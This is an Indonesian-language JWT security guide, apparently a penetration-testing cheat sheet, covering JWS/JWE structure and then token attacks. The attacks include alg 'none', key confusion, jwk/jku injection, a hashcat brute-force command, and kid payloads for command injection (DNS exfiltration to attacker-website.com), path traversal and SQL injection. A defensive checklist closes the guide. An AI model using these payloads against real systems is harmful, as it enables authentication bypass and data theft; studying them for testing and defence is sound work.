JSON Web Token (JWT) merepresentasikan sekumpulan klaim (claims) sebagai objek JSON yang dienkode dalam struktur JSON Web Signature (JWS) dan/atau JSON Web Encryption (JWE). Sebuah JWT direpresentasikan sebagai rangkaian bagian yang aman untuk URL (URL-safe) yang dipisahkan oleh karakter titik (.). Setiap bagian berisi nilai yang dienkode dengan base64url. Jumlah bagian dalam JWT tergantung pada representasi JWS atau JWE yang dihasilkan menggunakan compact serialization masing-masing.
Informasi: Algoritma base64url adalah algoritma base64 dengan penggantian berikut:
"+"menjadi"-""/"menjadi"_"dan tidak ada padding base64 standar (biasanya berupa tanda
"=").
JWT claims set merepresentasikan objek JSON yang anggota-anggotanya adalah klaim yang disampaikan oleh JWT. Terdapat tiga kelas nama klaim JWT:
Nama-nama klaim berikut terdaftar dalam registri IANA “JSON Web Token Claims”. Tidak ada klaim di bawah ini yang diwajibkan untuk digunakan atau diimplementasikan dalam semua kasus, tetapi klaim-klaim tersebut menyediakan titik awal untuk sekumpulan klaim yang berguna dan interoperabel. Aplikasi yang menggunakan JWT harus mendefinisikan klaim spesifik mana yang mereka gunakan serta kapan klaim tersebut diperlukan atau opsional.
| Claim | Definisi | Tipe | Deskripsi |
|---|---|---|---|
iss |
Issuer | String atau URI | Klaim iss mengidentifikasi pihak yang mengeluarkan JWT |
sub |
Subject | String atau URI | Klaim sub mengidentifikasi pihak yang menjadi subjek JWT |
aud |
Audience | Array of strings (String atau URI) | Klaim aud mengidentifikasi penerima yang dituju oleh JWT |
exp |
Expiration Time | NumericDate | Klaim exp mengidentifikasi waktu kedaluwarsa setelah mana JWT tidak boleh diterima untuk diproses |
nbf |
Not Before | NumericDate | Klaim nbf mengidentifikasi waktu sebelum JWT tidak boleh diterima untuk diproses |
iat |
Issued At | NumericDate | Klaim iat mengidentifikasi waktu saat JWT diterbitkan |
jti |
JWT ID | String | Klaim jti memberikan pengidentifikasi unik untuk JWT |
Nama klaim dapat didefinisikan secara bebas oleh pengguna JWT. Nama klaim harus berupa nilai yang mengandung nama tahan-benturan (collision-resistant name).
Produsen dan konsumen JWT dapat menyepakati penggunaan nama klaim yang bersifat privat: nama yang bukan merupakan registered claim names maupun public claim names. Tidak seperti public claim names, private claim names rentan terhadap benturan (collision).
Informasi: Header JOSE (JSON Object Signing and Encryption) adalah objek JSON yang berisi parameter-parameter yang mendeskripsikan operasi kriptografi dan parameter yang digunakan.
Untuk objek JWT, anggota dari objek JSON yang direpresentasikan oleh header JOSE mendeskripsikan operasi kriptografi yang diterapkan pada JWT dan secara opsional properti tambahan dari JWT. Tergantung pada apakah JWT tersebut merupakan JWS atau JWE, aturan yang sesuai untuk nilai header JOSE akan berlaku.
JSON Web Signature (JWS) merepresentasikan konten yang diamankan dengan tanda tangan digital atau Message Authentication Codes (MACs) menggunakan struktur data berbasis JSON. Mekanisme kriptografi JWS menyediakan perlindungan integritas untuk urutan oktet arbitrer.
Terdapat dua serialisasi yang terkait erat untuk JWS, yang keduanya berbagi fondasi kriptografi yang sama:
Informasi: JWT adalah JWS yang menggunakan JWS compact serialization.
Sebuah JWS merepresentasikan nilai-nilai logis berikut:
Untuk JWS, anggota dari objek JSON yang merepresentasikan JOSE header mendeskripsikan tanda tangan digital atau MAC yang diterapkan pada protected header JWS dan payload JWS, serta secara opsional properti tambahan dari JWS.
JWS mendefinisikan nama-nama parameter header terdaftar berikut:
| Parameter | Definisi | Tipe | Deskripsi |
|---|---|---|---|
alg |
Algorithm | String atau URI | Parameter header alg mengidentifikasi algoritma kriptografi yang digunakan untuk mengamankan JWS. Daftar nilai yang mungkin dapat ditemukan di spesifikasi JWA bagian 3.1 |
jku |
JWK Set URL | URI | Parameter header jku adalah URI yang merujuk ke sumber daya untuk sekumpulan kunci publik berenkode JSON (sebagai JWK set), salah satunya sesuai dengan kunci yang digunakan untuk menandatangani JWS |
jwk |
JSON Web Key | JWK | Parameter header jwk adalah kunci publik yang sesuai dengan kunci yang digunakan untuk menandatangani JWS |
kid |
Key ID | String | Parameter header kid adalah petunjuk yang menunjukkan kunci mana yang digunakan untuk mengamankan JWS. Saat digunakan dengan JWK, nilai kid digunakan untuk mencocokkan nilai parameter kid JWK |
x5u |
X.509 URL | URI | Parameter header x5u adalah URI yang merujuk ke sumber daya untuk sertifikat kunci publik X.509 atau rantai sertifikat dalam bentuk terenkode PEM yang sesuai dengan kunci yang digunakan untuk menandatangani JWS |
x5c |
X.509 Certificate Chain | Array of certificate value strings | Parameter header x5c berisi sertifikat kunci publik X.509 atau rantai sertifikat yang sesuai dengan kunci yang digunakan untuk menandatangani JWS |
x5t |
X.509 certificate SHA-1 thumbprint | String | Parameter header x5t adalah sidik jari SHA-1 terenkode base64url dari enkode DER sertifikat X.509 yang sesuai dengan kunci yang digunakan untuk menandatangani JWS |
x5t#S256 |
X.509 Certificate SHA-256 Thumbprint | String | Parameter header x5t#S256 adalah sidik jari SHA-256 terenkode base64url dari enkode DER sertifikat X.509 yang sesuai dengan kunci yang digunakan untuk menandatangani JWS |
typ |
Type | IANA.MediaTypes | Parameter header typ digunakan oleh aplikasi JWS untuk mendeklarasikan tipe media dari JWS lengkap ini. Untuk menunjukkan bahwa objek ini adalah JWT, disarankan menggunakan nilai "JWT" |
cty |
Content Type | IANA.MediaTypes | Parameter header cty digunakan oleh aplikasi JWS untuk mendeklarasikan tipe media dari konten yang diamankan (payload). Dalam kasus normal di mana operasi penandatanganan bersarang tidak digunakan, penggunaan parameter ini tidak direkomendasikan |
crit |
Critical | Array of header parameter names | Parameter header crit menunjukkan bahwa ekstensi dan/atau JWA sedang digunakan yang harus dipahami dan diproses |
Urutan oktet yang akan diamankan (pesan). Payload dapat berisi urutan oktet arbitrer.
(Deskripsi singkat - tidak ada detail tambahan dalam dokumen asli)
JSON Web Encryption (JWE) merepresentasikan konten terenkripsi menggunakan struktur data berbasis JSON. Mekanisme kriptografi JWE mengenkripsi dan memberikan perlindungan integritas untuk urutan oktet arbitrer. JWE menggunakan authenticated encryption untuk memastikan kerahasiaan dan integritas plaintext serta integritas dari JWE protected header dan JWE AAD.
Terdapat dua serialisasi yang terkait erat untuk JWE, yang keduanya berbagi fondasi kriptografi yang sama:
Informasi: JWT adalah JWE yang menggunakan JWE compact serialization.
Sebuah JWE merepresentasikan nilai-nilai logis berikut:
Untuk JWE, anggota dari objek JSON yang merepresentasikan JOSE header mendeskripsikan enkripsi yang diterapkan pada plaintext dan secara opsional properti tambahan dari JWE.
Anggota JOSE Header adalah gabungan dari anggota nilai-nilai berikut:
JWE mendefinisikan nama-nama parameter header terdaftar berikut:
| Parameter | Definisi | Tipe | Deskripsi |
|---|---|---|---|
alg |
Algorithm | String atau URI | Parameter header alg mengidentifikasi algoritma kriptografi yang digunakan untuk mengenkripsi atau menentukan nilai Content Encryption Key. Daftar nilai yang mungkin dapat ditemukan di spesifikasi JWA bagian 4.1 |
enc |
Encryption Algorithm | String atau URI | Parameter header enc mengidentifikasi algoritma enkripsi konten yang digunakan untuk melakukan authenticated encryption pada plaintext. Algoritma ini harus berupa algoritma AEAD dengan panjang kunci yang ditentukan. Daftar nilai yang mungkin dapat ditemukan di spesifikasi JWA bagian 5.1 |
zip |
Compression Algorithm | String | Parameter header zip yang diterapkan pada plaintext sebelum enkripsi, jika ada |
jku |
JWK Set URL | URI | Parameter header jku adalah URI yang merujuk ke sumber daya untuk sekumpulan kunci publik berenkode JSON, salah satunya digunakan untuk mengenkripsi JWE |
jwk |
JSON Web Key | JWK | Parameter header jwk adalah kunci publik yang sesuai dengan kunci yang digunakan untuk mengenkripsi JWE |
kid |
Key ID | String | Parameter header kid adalah petunjuk yang menunjukkan kunci mana yang digunakan untuk mengenkripsi JWE |
x5u |
X.509 URL | URI | Parameter header x5u adalah URI yang merujuk ke sumber daya untuk sertifikat kunci publik X.509 atau rantai sertifikat dalam bentuk terenkode PEM yang sesuai dengan kunci yang digunakan untuk mengenkripsi JWE |
x5c |
X.509 Certificate Chain | Array of certificate value strings | Parameter header x5c berisi sertifikat kunci publik X.509 atau rantai sertifikat yang sesuai dengan kunci yang digunakan untuk mengenkripsi JWE |
x5t |
X.509 certificate SHA-1 thumbprint | String | Parameter header x5t adalah sidik jari SHA-1 terenkode base64url dari enkode DER sertifikat X.509 yang sesuai dengan kunci yang digunakan untuk mengenkripsi JWE |
x5t#S256 |
X.509 Certificate SHA-256 Thumbprint | String | Parameter header x5t#S256 adalah sidik jari SHA-256 terenkode base64url dari enkode DER sertifikat X.509 |
typ |
Type | IANA.MediaTypes | Parameter header typ digunakan untuk mendeklarasikan tipe media dari JWE lengkap. Untuk JWT, disarankan nilai "JWT" |
cty |
Content Type | IANA.MediaTypes | Parameter header cty digunakan untuk mendeklarasikan tipe media dari konten yang diamankan (plaintext). Jika enkripsi bersarang digunakan, nilai harus "JWT" |
crit |
Critical | Array of header parameter names | Parameter header crit menunjukkan bahwa ekstensi sedang digunakan yang harus dipahami dan diproses |
Informasi: Authenticated Encryption with Associated Data (AEAD) adalah algoritma yang mengenkripsi plaintext, memungkinkan additional authenticated data ditentukan, dan memberikan pemeriksaan integritas konten terintegrasi atas ciphertext dan additional authenticated data. Algoritma AEAD menerima dua input (plaintext dan AAD) dan menghasilkan dua output (ciphertext dan authentication tag). AES Galois/Counter Mode (GCM) adalah salah satu contoh algoritma tersebut.
Content encryption key adalah kunci simetris untuk algoritma AEAD yang digunakan untuk mengenkripsi plaintext menjadi ciphertext dan authentication tag.
Nilai encrypted content encryption key. Untuk beberapa algoritma, nilai JWE encrypted key ditentukan sebagai urutan oktet kosong.
Nilai initialization vector yang digunakan saat mengenkripsi plaintext. Beberapa algoritma mungkin tidak menggunakan initialization vector, dalam hal ini nilainya adalah urutan oktet kosong.
Informasi: Additional Authenticated Data (AAD) adalah input untuk operasi AEAD yang dilindungi integritasnya tetapi tidak dienkripsi.
AAD adalah nilai tambahan yang dilindungi integritasnya oleh operasi authenticated encryption. Ini hanya dapat hadir saat menggunakan JWE JSON serialization.
Ciphertext adalah nilai yang dihasilkan dari authenticated encryption terhadap plaintext dengan additional authenticated data.
Informasi: Authentication Tag adalah keluaran dari operasi AEAD yang memastikan integritas ciphertext dan additional authenticated data. Beberapa algoritma mungkin tidak menggunakan authentication tag, dalam hal ini nilainya adalah urutan oktet kosong.
Authentication tag adalah nilai yang dihasilkan dari authenticated encryption terhadap plaintext dengan additional authenticated data.
Algoritma none memungkinkan penggunaan token JWT tanpa tanda tangan. Perlu diketahui bahwa ini adalah salah satu dari dua algoritma yang harus diimplementasikan menurut spesifikasi. Algoritma none mungkin didukung di lingkungan produksi, sehingga menyebabkan kerentanan.
Untuk mengeksploitasi, ubah nilai alg menjadi none dan kirim token JWT tanpa (atau dengan) tanda tangan ke endpoint API. Jika algoritma none didukung, token JWT akan dianggap valid.
Varian algoritma none yang dapat dicoba:
noneNoneNONEnOnECoba pertahankan algoritma tanda tangan (misalnya HS256) dan hapus bagian signature.
Coba ubah payload dan kirim token tersebut ke endpoint API. Jika endpoint dikonfigurasi untuk menampilkan eksepsi kepada pengguna, Anda bisa mendapatkan signature yang benar yang cocok dengan data yang telah diubah.
Contoh pesan kesalahan:
Invalid signature. Expected 8Qh51J5gSaQy1kSdaCIDBo0qKzhoJ0Ntukkap8RgB1Y= got 8Qh51J5gSaQy1kSdaCIDBo0qKzhoJ0Ntukkap8RgBOo=
Algoritma berbasis HMAC menggunakan kunci rahasia untuk membuat (dan memvalidasi) signature. Anda dapat mencoba melakukan bruteforce terhadap kunci rahasia dengan hashcat:
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
Jika kunci yang sama digunakan untuk algoritma asimetris dan simetris, Anda dapat menggunakan kunci publik RSA sebagai kunci rahasia HMAC untuk menandatangani token JWT yang telah dirusak.
Langkah eksploitasi:
alg menjadi HS256.HS256).HS256).Parameter header jwk (atau x5c) yang merepresentasikan kunci publik (sertifikat kunci publik X.509 atau rantai sertifikat) dapat disematkan di dalam header JWS. Kunci publik atau sertifikat tersebut kemudian akan dipercaya untuk verifikasi. Anda dapat mengeksploitasi ini dengan membuat objek JWS yang valid secara palsu dengan menghapus signature asli, menambahkan kunci publik baru ke header, lalu menandatangani objek tersebut menggunakan kunci privat Anda sendiri yang terkait dengan kunci publik yang disematkan di header JWS tersebut.
Algoritma verifikasi signature rentan terhadap timing attack jika poin-poin berikut terpenuhi:
Untuk mengeksploitasi timing attack, amati waktu respons dengan menghasilkan signature secara berurutan, mulai dari byte pertama, lalu byte kedua, dan seterusnya.
Terdapat penelitian menarik terkait kerentanan pada JWE:
Beberapa library yang mendekripsi JWT terenkripsi JWE untuk mendapatkan objek bertanda tangan JWS tidak selalu memvalidasi signature internal.
Parameter header jku adalah URI yang merujuk ke sumber daya untuk sekumpulan kunci publik berenkode JSON (sebagai JWK set), salah satunya sesuai dengan kunci yang digunakan untuk menandatangani JWS / mengenkripsi JWE. Ubah token JWT untuk mengarahkan nilai parameter jku ke server web Anda dengan kunci publik, lalu tandatangani/enkripsi token dengan kunci privat yang sesuai.
Referensi:
Parameter header jku (atau x5u) adalah URI yang digunakan server untuk mengambil kunci publik (sertifikat kunci publik X.509 atau rantai sertifikat). Anda dapat menggunakannya untuk mengeksploitasi kerentanan SSRF.
Sumber cheat sheet: Server-Side Request Forgery
Parameter header kid digunakan oleh aplikasi yang bergantung padanya untuk melakukan pencarian kunci.
Parameter kid dapat diteruskan ke fungsi seperti system, yang akan mengarah ke command injection:
{
"alg": "HS256",
"typ": "JWT",
"kid": "kid;dig () (id | base64 - w0).attacker-website.com"
}
Parameter kid dapat menentukan jalur ke kunci dalam filesystem yang digunakan untuk memverifikasi token. Jika attacker memasukkan jalur ke file dengan konten yang dapat diprediksi, mereka dapat membuat token palsu karena kunci rahasia sudah diketahui. Contoh file tersebut adalah /proc/sys/kernel/randomize_va_space pada sistem Linux yang memiliki nilai dapat diprediksi seperti 0,1,2. Attacker dapat membuat token jahat menggunakan nilai rahasia 0,1,2 dan mengirimkannya ke server.
{
"alg": "HS256",
"typ": "JWT",
"kid": "../../../../../../../dev/null"
}
Aplikasi dapat menyimpan kunci mereka di database. Jika kunci tersebut dirujuk dalam parameter kid, bisa rentan terhadap SQL injection.
{
"alg": "HS256",
"typ": "JWT",
"kid": "key\" UNION SELECT 'hop"
}
Terdapat serangan di mana satu penerima mendapatkan JWT yang ditujukan untuknya dan mencoba menggunakannya pada penerima lain yang tidak dituju. Ini berlaku untuk kasus berikut:
iss).sub) sesuai dengan subjek yang valid dan/atau pasangan issuer/subjek pada aplikasi.aud tidak digunakan (atau digunakan secara salah) untuk menentukan apakah JWT digunakan oleh pihak yang dituju atau disubstitusi oleh attacker pada pihak yang tidak dituju ketika issuer yang sama dapat mengeluarkan JWT yang ditujukan untuk lebih dari satu pihak yang bergantung atau aplikasi.Karena JWT digunakan oleh protokol yang berbeda di area aplikasi yang berbeda, Anda dapat mencoba mengeluarkan token JWT untuk satu tujuan dan menggunakannya untuk tujuan yang berbeda.
Jika mekanisme kedaluwarsa dan pencabutan memiliki kelemahan, token JWT dapat digunakan untuk replay attack. Dalam hal ini, perhatikan klaim exp (tanggal kedaluwarsa token) dan jti (pengidentifikasi token unik), dan coba gunakan token JWT yang telah kedaluwarsa/dicabut.
# JWT Security Checklist:
[ ] Algorithm specified and enforced server-side (not from token)
[ ] Strong secret key (256+ bits for HMAC)
[ ] RSA key size >= 2048 bits
[ ] Token expiration (exp) checked and enforced
[ ] Token issued-at (iat) verified
[ ] Audience (aud) claim validated
[ ] Issuer (iss) claim validated
[ ] Algorithm "none" rejected
[ ] Symmetric/asymmetric confusion prevented
[ ] JWK/JWKS injection prevented
[ ] kid parameter validated (no injection)
[ ] Secret not guessable
[ ] Token stored securely (httpOnly cookie preferred)
[ ] Token revocation mechanism exists
[ ] Sensitive data not in payload (viewable without key)
[ ] Token size reasonable (not used as session storage)